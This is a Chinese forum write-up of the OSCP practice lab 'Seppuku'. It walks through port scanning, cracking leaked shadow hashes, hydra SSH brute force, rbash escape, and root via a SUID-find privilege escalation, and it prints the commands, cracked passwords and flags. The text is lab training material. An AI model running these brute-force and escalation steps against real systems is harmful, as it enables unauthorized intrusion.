OSCP系列靶场-Esay-Seppuku

杳若   ·   发表于 2023-07-30 22:10:29   ·   CTF&WP专版

OSCP系列靶场-Esay-Seppuku

总结

getwebshell : 目录扫描 → 发现密码字典 → 发现用户名seppuku → 发现id_rsa → 利用hyrda爆破用户名用户名seppuku 用发现的密码字典 → 进入内网

提 权 思 路 : 发现隐藏的敏感信息 → 用户samurai的密码 → 登录samurai → 发现sudo提权 → 需要tanto用户下创建文件 → 利用之前发现的id_rsa登录tanto → 创建提权文件 → samurai利用sudo提权

准备工作

  • 启动VPN
    获取攻击机IP → 192.168.45.188

  • 启动靶机
    获取目标机器IP → 192.168.178.90

信息收集-端口扫描

目标开放端口收集

  • Nmap开放端口扫描2次(多次扫描减少误扫)
sudo nmap --min-rate 10000 -p- 192.168.178.90

PORT     STATE SERVICE
21/tcp   open  ftp
22/tcp   open  ssh
80/tcp   open  http
139/tcp  open  netbios-ssn
445/tcp  open  microsoft-ds
7080/tcp open  empowerid
7601/tcp open  unknown
8088/tcp open  radan-http


开放的端口-→21,22,80,139,445,7080,7601,8088
看上去开放的端口挺多 主要还是21、80、445以后其他的http端口

目标端口对应服务探测

# tcp探测
sudo nmap -sT -sV -O -sC -p21,22,80,139,445,7080,7601,8088 192.168.178.90

PORT     STATE SERVICE        VERSION                 
21/tcp   open  ftp            vsftpd 3.0.3                       
22/tcp   open  ssh            OpenSSH 7.9p1 Debian 10+deb10u2 80/tcp   open  http           nginx 1.14.2                       139/tcp  open  netbios-ssn    Samba smbd 3.X - 4.X (workgroup: 445/tcp  open  V         Samba smbd 4.9.5-Debian (workgroup: 7080/tcp open  ssl/empowerid?
7601/tcp open  http           Apache httpd 2.4.38 ((Debian))
8088/tcp open  http           LiteSpeed httpd

信息收集-端口测试

21-FTP端口的信息收集

21-FTP版本版本信息

通过nmap探测获得FTP的版本信息,可以大致推测FTP的配置文件位置
namp探测版本为vsftpd 3.0.3

# vsftpd 3.0.3配置文件一般在如下位置
/etc/vsftpd.conf

21-FTP端口匿名登录测试(失败)

尝试匿名账号anonymous以及无密码进行登录测试

# 利用ftp协议+ip进行连接测试
ftp 192.168.178.90
Name: anonymous

如果后面没思路的话就来爆破ftp

22-SSH端口的信息收集

22-SSH端口版本信息与MSF利用

通过Nmap探测获得SSH的版本信息,可以尝试利用
探测版本为OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)

# 搜索对应脚本
msf6 → searchsploit openssh 7.9

22-SSH协议支持的登录方式

通过Nmap探测获得SSH的版本信息,在获取到某个用户名之后尝试

sudo ssh root @192.168.178.90 -v

显示publickeypassword就是支持密钥以及密码登录

22-SSH手动登录尝试(无)

因为支持密码登录,尝试root账户的密码弱密码尝试

sudo ssh root @192.168.178.90 -p 22
# 密码尝试
password → root

弱密码尝试失败

22-SSH弱口令爆破(静静等待)

因为支持密码登录,尝试root账户的密码爆破,利用工具hydra,线程-t为6

sudo hydra -l root -P /usr/share/wordlists/metasploit/unix_passwords.txt -t 6 -vV 192.168.178.90 ssh -s 22

挂着工具进行爆破,我们尝试后续信息收集

445-SMB端口的信息收集

445-SMB是否无需密码探测

连接成功则SMB没有开启密码

# 利用-L查看SMB的内容
smbclient -L //192.168.178.90


没找到什么内容

80-HTTP端口的信息收集(待定)

访问 http://192.168.178.90:80 发现需要登录才可以访问

7601-HTTP端口的信息收集

访问 http://192.168.178.90:7601 发现是一张图片

信息收集-HTML隐藏信息查看

# 包括文章中是否写明一些敏感信息
curl http://192.168.178.90:7601

得到了一个名词Seppuku,如果没思路的话大概率这个就是用户名

信息收集-目录扫描

信息收集-目录扫描初步
dirsearch -u http://192.168.178.90:7601 -x 302,403


因为扫出了目录,深层次的扫描待选

信息收集-目录扫描(后缀)
信息收集-目录扫描(深度/大字典)
信息收集-目录扫描(深度/大字典后缀)

信息收集-目录访问

/ckeditor/端点

一个编辑器的界面,点了没啥

/database/端点

没东西

/secret/端点

有很多内容,下载下来进行查看

敏感文件查看

# 首先下载
wget http://192.168.178.90:7601/secret/[文件]


图片先放一边


获得一个主机名seppuku

┌──(root㉿Kali)-[/home/bachang/Seppuku]
└─# cat hostname 
seppuku

得到一个疑似/etc/passwd的备份

┌──(root㉿Kali)-[/home/bachang/Seppuku]                          
└─# cat passwd.bak                                               
root:x:0:0:root:/root:/bin/bash        
...
thpot:x:122:65534:Honeypot user,,,:/usr/share/thpot:/dev/null
postfix:x:123:128::/var/spool/postfix:/usr/sbin/nologin      
nm-openvpn:x:124:130:NetworkManager OpenVPN,,,:/var/lib/openvpn/chroot:/usr/sbin/nologin             
statd:x:125:65534::/var/lib/nfs:/usr/sbin/nologin                
sshd:x:126:65534::/run/sshd:/usr/sbin/nologin             
nm-openconnect:x:127:131:NetworkManager OpenConnect plugin,,,:/var/lib/NetworkManager:/usr/sbin/nologin
rabbit-hole:x:1001:1001:,,,:/home/rabbit-hole:/bin/bash

得到一个账户名rabbit-hole


得到一个疑似/etc/shadow的备份

┌──(root㉿Kali)-[/home/bachang/Seppuku]
└─# cat shadow.bak          
root:!:18327:0:99999:7::: 
daemon:*:17937:0:99999:7::: 
....                                
r @bbit-hole:$6$2/SxUdFc$Es9XfSBlKCG8fadku1zyt/HPTYz3Rj7m4bRzovjHxX4WmIMO7rz4j/auR/V.yCPy2MKBLBahX29Y3DWkR6oT..:18395:0:99999:7:::

得到该用户加密密码$6$2/SxUdFc$Es9XfSBlKCG8fadku1zyt


得到一个密码字典password.lst

漏洞利用-getwebshell

john爆破shadom加密密码登录ssh(失败)

┌──(root㉿Kali)-[/home/bachang/Seppuku]
└─# echo '$6$2/SxUdFc$Es9XfSBlKCG8fadku1zyt/HPTYz3Rj7m4bRzovjHxX4WmIMO7rz4j/auR/V.yCPy2MKBLBahX29Y3DWkR6oT..' → pass.hash

┌──(root㉿Kali)-[/home/bachang/Seppuku]
└─# john pass.hash     

a1b2c3           (?)

得到账户rabbit-hole的密码a1b2c3

22-SSH账号密码登录

获取账号密码之后利用SSH进行登录

sudo ssh rabbit-hole @192.168.178.90 -p22
password → a1b2c3

hyrda爆破ssh密码

因为我们有一本系统的密码字典,尝试爆破用户seppuku

sudo hydra -l seppuku -P password.lst -t 6 -vV 192.168.178.90 ssh -s 22

爆破出来密码是eeyoree

22-SSH账号密码登录

获取账号密码之后利用SSH进行登录

sudo ssh seppuku @192.168.178.90 -p22
password → eeyoree

内网遨游-getshell

进入之后发现是rbash需要进行逃逸

SSH连接受限伪终端逃逸

SSH连接到远程服务器上发现各种命令受限利用-t逃逸

# -t 增加伪终端 bash -- 表示传入bash的shell 不加载用户配置
sudo ssh seppuku @192.168.178.90 -p22 -t "bash --noprofile"
password → eeyoree
# ssh登录之后获取环境变量
echo $PATH
# 重写环境变量
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin

FLAG1获取

seppuku @seppuku:~$ find / -name local.txt 2→/dev/null
/home/seppuku/local.txt
seppuku @seppuku:~$ cat /home/seppuku/local.txt
3dc090a738a7e01f80f592abe2a9e284

信息收集-内网基础信息收集

提权的本质在于枚举,在获取shell之后我们要进行内网信息的收集,都是为了提权做准备

检测Linux操作系统的发行版本

较老的Ubuntu以及Linux系统可以overlayfs提权

# 确定发行版本
seppuku @seppuku:~$ lsb_release -a
No LSB modules are available.
Distributor ID: Debian
Description:    Debian GNU/Linux 10 (buster)
Release:        10
Codename:       buster

发行版本为Debian,不太能overlayfs提权

检测Linux操作系统的内核版本

较低的内核版本可以进行脏牛提权

seppuku @seppuku:~$ uname -a
Linux seppuku 4.19.0-9-amd64 #1 SMP Debian 4.19.118-2 (2020-04-29) x86_64 GNU/Linux

内核版本为4.19.0

检测当前用户的权限

seppuku @seppuku:~$ id
uid=1000(seppuku) gid=1000(seppuku) groups=1000(seppuku),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),109(netdev)

列举出所有的sudo文件

查找具有sudo权限,且不需要密码的可提权文件
如果发现sudo -l有东西的话 访问 https://gtfobins.github.io 寻找

# 利用sudo -l寻找
seppuku @seppuku:~$ sudo -l
Matching Defaults entries for seppuku on seppuku:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User seppuku may run the following commands on seppuku:
    (ALL) NOPASSWD: /usr/bin/ln -sf /root/ /tmp/

   (ALL) NOPASSWD: /usr/bin/ln -sf /root/ /tmp/

查阅了一下是建立连接与覆盖 ,没有什么好的绕过思路

列举出所有suid文件

如果发现u=s有东西的话 访问 https://gtfobins.github.io 寻找

# -perm 文件权限
find / -perm -u=s -type f 2→/dev/null

/etc/passwd权限收集

如果/etc/passwd具有写入权限可以尝试覆盖密码提权

seppuku @seppuku:~$ ls -al /etc/passwd
-rw-r--r-- 1 root root 1585 May 13  2020 /etc/passwd

顺手查了一下里面有没有之前读出来的另一个用户,发现没有

/etc/shadow权限收集

  • 如果/etc/shadow具有写入权限可以尝试覆盖密码提权
  • 如果/etc/shadow具有可读权限可以爆破密码
    seppuku @seppuku:~$ ls -al /etc/shadow
    -rw-r----- 1 root shadow 1253 Aug 31  2020 /etc/shadow
    

    getcap标志进程收集

    高版本下suid列举不全,查看getcap
    # 探查有CAP_SETUID标志的进程
    seppuku @seppuku:~$ /usr/sbin/getcap -r / 2→/dev/null
    /usr/bin/ping = cap_net_raw+ep
    

    列举定时任务

    查找所有的定时任务,并且查看定时任务是否具有修改权限
    # 寻找定时任务并修改进行提权
    cat /etc/crontab
    

确认/home目录下信息

/home目录下的用户可以做账号字典尝试弱密码以及爆破
看到了3个用户,其余两个用户可以尝试制作字典以及弱口令爆破

seppuku @seppuku:~$ ls -al /home
total 20
drwxr-xr-x  3 samurai samurai 4096 Jul  8  2020 samurai
drwxr-xr-x  3 seppuku seppuku 4096 Jul 30 04:16 seppuku
drwxr-xr-x  4 tanto   tanto   4096 Sep  1  2020 tanto
确认当前用户home目录下是否有隐藏文件
# 例如.ssh找密码  ./*_history找历史记录等
seppuku @seppuku:~$ ls -al /home/seppuku
total 36
drwxr-xr-x 3 seppuku seppuku 4096 Jul 30 04:16 .
drwxr-xr-x 5 root    root    4096 May 13  2020 ..
-rw------- 1 seppuku seppuku  338 Jul 30 04:16 .bash_history
-rw-r--r-- 1 seppuku seppuku  220 May 13  2020 .bash_logout
-rw-r--r-- 1 seppuku seppuku 3526 May 13  2020 .bashrc
drwx------ 3 seppuku seppuku 4096 May 13  2020 .gnupg
-rw-r--r-- 1 seppuku seppuku   33 Jul 30 03:43 local.txt
-rw-r--r-- 1 root    root      20 May 13  2020 .passwd
-rw-r--r-- 1 seppuku seppuku  807 May 13  2020 .profile

看到了一个.passwd的文件进行查看

seppuku @seppuku:~$ cat .passwd
12345685213456! @! @A#CTL{n}```#CTL{n}得到了一个密码进行尝试#CTL{n}```shell#CTL{n}# root提权(失败)
seppuku @seppuku:~$ su
Password: 
su: Authentication failure
# samurai登录成功
seppuku @seppuku:~$ su samurai
Password:

sudo -l权限收集

samurai @seppuku:/home/seppuku$ sudo -l
Matching Defaults entries for samurai on seppuku:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User samurai may run the following commands on seppuku:
    (ALL) NOPASSWD: /../../../../../../home/tanto/.cgi_bin/bin /tmp/*

通过这条命令发现可以sudo执行/home/tanto/.cgi_bin/bin/tmp/*
由于/tmp利用ln/root绑了,所以主要是在tanto用户下创建

发现这样用户也是rbash受限,并且我们还需要知道tanto用户的密码才行

转机

tanto登录


通过目录扫描发现新的端点


下载之后获得了ssh的密钥


尝试base64解码不清楚归属


推测是tanto

sudo chmod 600 private
sudo ssh -i private tanto @192.168.178.90 -p22

成功登录

rbash逃逸

发现受限shell需要进行逃逸

# -t 增加伪终端 bash -- 表示传入bash的shell 不加载用户配置
sudo ssh -i private tanto @192.168.178.90 -p22 -t "bash --noprofile"
# ssh登录之后获取环境变量
echo $PATH
# 重写环境变量
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin

发现没有对应目录,创建新的目录

权限提升

suid-find提权

写入切换bash的命令写入到bin文件中

echo '#!/bin/sh
chmod +s /usr/bin/find' → bin

执行提示命令没发现,samurai可能也要绕过rbash

# -t 增加伪终端 bash -- 表示传入bash的shell 不加载用户配置
sudo ssh samurai @192.168.178.90 -p22 -t "bash --noprofile"
password → 12345685213456! @! @A#CTL{n}```#CTL{n}最后发现是建错文件夹,命令敲错了
```shell
# 利用suid的find提权
samurai @seppuku:~$ sudo /../../../../../../home/tanto/.cgi_bin/bin /tmp/*
samurai @seppuku:~$ find . -exec /bin/bash -p \; -quit
bash-5.0# id
uid=1001(samurai) gid=1002(samurai) euid=0(root) egid=0(root) groups=0(root),1002(samurai)
bash-5.0#

提权成功

FLAG2获取

bash-5.0# cat /root/proof.txt
4a24681381de4d623801b1e8cb243a64

完结撒花~

总结

在目录扫描的时候没扫全,导致后续不是很连贯,接下来在目录扫描的时候可以用两个扫描器进行扫描对比,是否会存在遗漏

用户名金币积分时间理由
Track-魔方 400.00 0 2023-08-06 14:02:25 深度 200 普适 100 可读 100

打赏我,让我更有动力~

1 条回复   |  直到 8个月前 | 254 次浏览

Track-魔方
发表于 8个月前

文中出现了’<span class="label label-primary">@seppuku</span>‘这种标签类文本,影响阅读,稍微注意下哦

评论列表

  • 加载数据中...

编写评论内容
登录后才可发表内容
返回顶部 投诉反馈

© 2016 - 2024 掌控者 All Rights Reserved.